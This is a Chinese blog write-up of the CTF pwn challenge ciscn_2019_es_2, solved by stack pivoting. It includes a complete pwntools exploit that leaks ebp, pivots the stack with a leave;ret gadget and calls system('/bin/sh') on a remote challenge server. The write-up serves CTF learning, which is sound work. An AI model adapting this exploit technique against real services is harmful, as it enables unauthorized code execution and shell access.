首页 > 其他分享 >ciscn_2019_es_2(栈迁移)

ciscn_2019_es_2(栈迁移)

时间:2025-01-18 15:34:33浏览次数:1  
标签:ciscn ret leave ebp io p32 2019 payload2 es

看一下ida
image
两个read函数都是读取0x30(48),然后s距离ebp有0x28(40),所以虽然有溢出但只溢出了两个4字节,也就是只能覆盖到ebp和ret。
这时候就需要运用栈迁移
栈迁移就是当溢出不够多的时候,这时候可以考虑把栈给迁移去其它地方,利用leave_ret指令控制ebp,使其指向我们写的rop的地址,执行。

leave:(返回上级函数时,恢复原本栈空间)
move esp,ebp #ebp指向esp所指的地方
pop ebp #弹出ebp

ret:(返回上级函数时,执行上级函数的指令)
(相当于)pop eip

执行两次或多次leave_ret
找一下leave_ret:
ROPgadget --binary ./ciscn_2019_es_2 --only "leave|ret"| grep "ret"
image
在第一个read找出ebp的地址

点击查看代码
payload1=b'a'*0x27+b'b'
io.send(payload1)
io.recvuntil('b')
ebp=u32(io.recv(4))
因为一般read函数读取之后会在所输入的最后面自己加一个'\0',这里我们直接填满read就加不了了,然后printf就会一直读取到ebp的地址(printf遇到\x00才会停止读取)
exp
from pwn import *
context.log_level='debug'
#io=process('./ciscn_2019_es_2')
io=remote('node5.buuoj.cn',28864)
payload1=b'a'*0x27+b'b'
io.send(payload1)
io.recvuntil('b')
ebp=u32(io.recv(4))
print(hex(ebp))
#gdb.attach(io)#在溢出函数执行完后看
leave_ret=0x08048562 
system=0x08048400
main=0x080485FF
payload2=b'rrrr'+p32(system)+p32(main)+p32(ebp-0x28)+b'/bin/sh'#调试一下得到binsh的地址为ebp-0x28
payload2=payload2.ljust(0x28,b'\x00')   #一直填充直到ebp前面为止
payload2+=p32(ebp-0x38)   #把ebp控制到‘rrrr’处
payload2+=p32(leave_ret)  #返回地址填leave_ret,即执行两次,使得代码的返回地址为system
io.sendline(payload2)
io.interactive()

标签:ciscn,ret,leave,ebp,io,p32,2019,payload2,es
From: https://www.cnblogs.com/fdddddd/p/18678477

相关文章

  • Codeforces Round 897 (Div. 2)
    A.green_gold_dog,arrayandpermutation题意:给你一个数组\(a\),你要构造一个排列\(b\),使得不同的\(a_i-b_i\)尽可能多。我们按\(a_i\)从小到大分配\(n\)到\(1\),这样\(a_i-b_i\)一定大于\(a_j-b_j\)\((a_i>a_j)\)。点击查看代码voidsolve(){intn;std::cin>>n......
  • 爬虫入门之Requests库一篇学会
    在爬虫开发中,request模块或类扮演着至关重要的角色。以下是它主要的作用:发起网络请求:这是request最基本的功能,通过它向目标网站发送HTTP请求,获取网页内容。可以指定请求方式(GET、POST等),并能携带参数、数据、头部信息等。处理响应结果:当服务器返回响应后,request可以帮......
  • 由单个神经元到神经网络,简单全连接神经网络工作解析(李哥 lesson1)
    一.由单个神经元到神经网络:    在上个文章我们知道了单个神经元的具体架构,这次我们将从单个神经元出发,探寻简单全连接神经网络的工作过程。    单个神经元其实就是一个函数,现在我们假设单个神经元的结构都为线性结构(即=wx+b)如图:    多个神经元相互......
  • AtCoder Beginner Contest 388
    A-A-?UPC题意给定字符串\(s\),输出\(s\)首个字符与\(UPC\)组成的字符串思路模拟代码点击查看代码#include<bits/stdc++.h>usingnamespacestd;#defineintlonglongtypedefpair<int,int>pii;constintmxn=1e6+5;voidsolve(){ strings; ci......
  • 了解ESP32睡眠模式及其功耗
    转载自:https://lastminuteengineers.com/esp32-sleep-modes-power-consumption/InsightIntoESP32SleepModes&TheirPowerConsumption TheESP32isundeniablyaworthycompetitortomanyWiFi/MCUSoCs,outperformingtheminbothperformanceandprice.......
  • ESP8266
    XCOSnTh平台的获取如下 XCOSnTh-MCU-Lib-CSDN博客https://blog.csdn.net/stars_A_B_C/article/details/145224971?spm=1001.2014.3001.5501https://blog.csdn.net/stars_A_B_C/article/details/145224971?spm=1001.2014.3001.5501https://blog.csdn.net/stars_A_B_C/article/......
  • 代码随想录 字符串 test 6(KMP,超详细)
    28.找出字符串中第一个匹配项的下标-力扣(LeetCode)一暴力:        以主串中的每个字符为起点,每次匹配从当前主串的起点和子串的首位开始匹配:匹配成功:返回本次匹配的主串起点。匹配失败:以主串的下一个字符作为新起点,重新尝试匹配。时间复杂度为o(m*n)(m为主串长度,n......
  • Codeforces Round 997 (Div. 2) / 2056
    A.ShapePerimeter难度(个人感觉)★☆☆☆☆思考:考虑平移Code:for(inti=0;i<N;i++){std::cin>>dx>>dy;if(i){cnt_dx+=dx;cnt_dy+=dy;}}ans=(m+cnt_dx+m+cnt_dy)*2;B.FindthePermutation难度(个人感觉)★☆☆☆☆思考......
  • 工具 | StarCodeSecurity
    0x00简介StarCodeSecurity是一款图形化的代码审计工具。下载地址:StarCodeSecurity下载:StarCodeSecurity下载0x01功能说明支持对规则进行增删改查审计文件后缀审计路径关键字禁止审计路径关键字支持java、php、net项目审计注:仅供安全研究与学习之用,若将工......
  • PySpark - Study Notes 2
       ......